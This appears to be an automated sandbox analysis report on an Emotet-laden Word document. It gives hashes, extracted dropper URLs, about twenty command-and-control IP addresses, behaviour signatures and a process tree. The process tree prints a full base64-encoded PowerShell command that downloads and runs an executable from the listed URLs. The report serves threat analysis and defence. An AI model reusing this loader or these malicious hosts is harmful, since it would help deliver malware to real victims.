Analysis

  • max time kernel
    62s
  • max time network
    112s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    13/08/2020, 18:55

General

  • Target
    emotet_e2_bbbfae57148d4ae3803142303babc3d2fcb182194f9112aaa34b6f4978e8e0ee_2020-08-13__185327._doc.doc
  • Size 231KB
  • Sample200813-42rakey4bj
  • SHA256 bbbfae57148d4ae3803142303babc3d2fcb182194f9112aaa34b6f4978e8e0ee
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://mezoonline.com/wp-content/g1e6_rf_i/

  • exe.dropper

    http://xuedashuai.xyz/wp-includes/am_mh_09e9aswb/

  • exe.dropper

    http://copyta.com/wp-admin/h33_4u_dmpy/

  • exe.dropper

    https://office.horussolution.com/files/jk31_bx_pr/

  • exe.dropper

    http://football411.net/wp-content/nlz_dqquj_s/

Extracted

Family
  • emotet

C2
  • 24.233.112.152:80

  • 69.30.203.214:8080

  • 192.210.135.126:8080

  • 47.144.21.12:443

  • 157.245.99.39:8080

  • 119.198.40.179:80

  • 62.75.141.82:80

  • 181.211.11.242:80

  • 167.86.90.214:8080

  • 95.213.236.64:8080

  • 87.106.139.101:8080

  • 109.74.5.95:8080

  • 142.105.151.124:443

  • 47.146.117.214:80

  • 185.94.252.104:443

  • 2.58.16.85:7080

  • 222.214.218.37:4143

  • 85.105.205.77:8080

  • 190.160.53.126:80

  • 107.185.211.16:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_bbbfae57148d4ae3803142303babc3d2fcb182194f9112aaa34b6f4978e8e0ee_2020-08-13__185327._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:316
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABVAEgAUgBJAEgAcQBxAGsAPQAnAEcATgBLAFMASgBqAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAFUAYABSAGkAYABUAFkAcAByAG8AYABUAG8AQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAFoARwBQAEgAYQBiAHMAIAA9ACAAJwBRAGsAYQB6ACcAOwAkAE0ARABKAEUASwB1AHYAeAA9ACcASABJAFYAWABaAGcAbgBuACcAOwAkAFYAVQBDAEMAVABxAGwAagA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFoAWgBHAFAASABhAGIAcwArACcALgBlAHgAZQAnADsAJABMAEkARABFAFYAdQBoAHEAPQAnAEkARwBLAFEAUgB1AGYAdQAnADsAJABXAEsASQBCAFEAZgB4AGwAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AVwBlAEIAYwBMAEkAZQBuAHQAOwAkAEQAVABHAFkATQBvAGUAawA9ACcAaAB0AHQAcAA6AC8ALwBtAGUAegBvAG8AbgBsAGkAbgBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZwAxAGUANgBfAHIAZgBfAGkALwAqAGgAdAB0AHAAOgAvAC8AeAB1AGUAZABhAHMAaAB1AGEAaQAuAHgAeQB6AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYQBtAF8AbQBoAF8AMAA5AGUAOQBhAHMAdwBiAC8AKgBoAHQAdABwADoALwAvAGMAbwBwAHkAdABhAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBoADMAMwBfADQAdQBfAGQAbQBwAHkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAGYAZgBpAGMAZQAuAGgAbwByAHUAcwBzAG8AbAB1AHQAaQBvAG4ALgBjAG8AbQAvAGYAaQBsAGUAcwAvAGoAawAzADEAXwBiAHgAXwBwAHIALwAqAGgAdAB0AHAAOgAvAC8AZgBvAG8AdABiAGEAbABsADQAMQAxAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbgBsAHoAXwBkAHEAcQB1AGoAXwBzAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAEMARgBWAE8AcABuAGYAPQAnAFcATABKAFoATwBjAHkAcAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABGAFQASQBBAHEAcwBoACAAaQBuACAAJABEAFQARwBZAE0AbwBlAGsAKQB7AHQAcgB5AHsAJABXAEsASQBCAFEAZgB4AGwALgAiAEQATwB3AE4AYABMAE8AYQBkAGYAYABpAGAATABlACIAKAAkAEwARgBUAEkAQQBxAHMAaAAsACAAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQATABIAEgAUABYAHUAeABtAD0AJwBJAFEAUgBCAFMAZgBzAG8AJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABWAFUAQwBDAFQAcQBsAGoAKQAuACIAbABlAGAATgBgAEcAVABIACIAIAAtAGcAZQAgADIAOAA5ADEAMwApACAAewAuACgAJwBJAG4AdgBvACcAKwAnAGsAJwArACcAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABWAFUAQwBDAFQAcQBsAGoAKQA7ACQAUABUAE8AUgBQAHMAawBmAD0AJwBJAFMASABTAEIAYwB0AG0AJwA7AGIAcgBlAGEAawA7ACQASQBFAEwAWQBDAHgAZgBwAD0AJwBVAFQARQBIAFoAcQBzAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABRAFMAVwBNAHAAawBkAD0AJwBBAFkAUABaAFkAdABtAGYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1056
    • C:\Users\Admin\AppData\Local\Temp\Qkaz.exe
      "C:\Users\Admin\AppData\Local\Temp\Qkaz.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\SysWOW64\KBDSYR1\dinput.exe
        "C:\Windows\SysWOW64\KBDSYR1\dinput.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:2016

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/316-29-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-33-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-7-0x000000000BF50000-0x000000000BF54000-memory.dmp

        memory/316-8-0x0000000006FB0000-0x00000000071B0000-memory.dmp

        memory/316-10-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-3-0x0000000006FB0000-0x00000000071B0000-memory.dmp

        memory/316-14-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-15-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-16-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-17-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-19-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-21-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-4-0x0000000006FB0000-0x00000000071B0000-memory.dmp

        memory/316-23-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-5-0x0000000006FB0000-0x00000000071B0000-memory.dmp

        memory/316-44-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-27-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-2-0x00000000089C0000-0x00000000089C4000-memory.dmp

        memory/316-6-0x000000000AED0000-0x000000000AED4000-memory.dmp

        memory/316-31-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-12-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-36-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-38-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-40-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/316-42-0x0000000002100000-0x0000000002101000-memory.dmp

        memory/1056-26-0x000000001ABB0000-0x000000001ABB1000-memory.dmp

        memory/1056-46-0x0000000002430000-0x0000000002431000-memory.dmp

        memory/1056-47-0x000000001C4E0000-0x000000001C4E1000-memory.dmp

        memory/1056-48-0x000000001B520000-0x000000001B521000-memory.dmp

        memory/1056-24-0x00000000021F0000-0x00000000021F1000-memory.dmp

        memory/1056-9-0x000007FEEA070000-0x000007FEEAA5C000-memory.dmp

        memory/1056-35-0x0000000002540000-0x0000000002541000-memory.dmp

        memory/1112-56-0x000007FEEF760000-0x000007FEEF9DA000-memory.dmp

        memory/1628-52-0x00000000002E0000-0x00000000002EC000-memory.dmp

        memory/2016-55-0x0000000000310000-0x000000000031C000-memory.dmp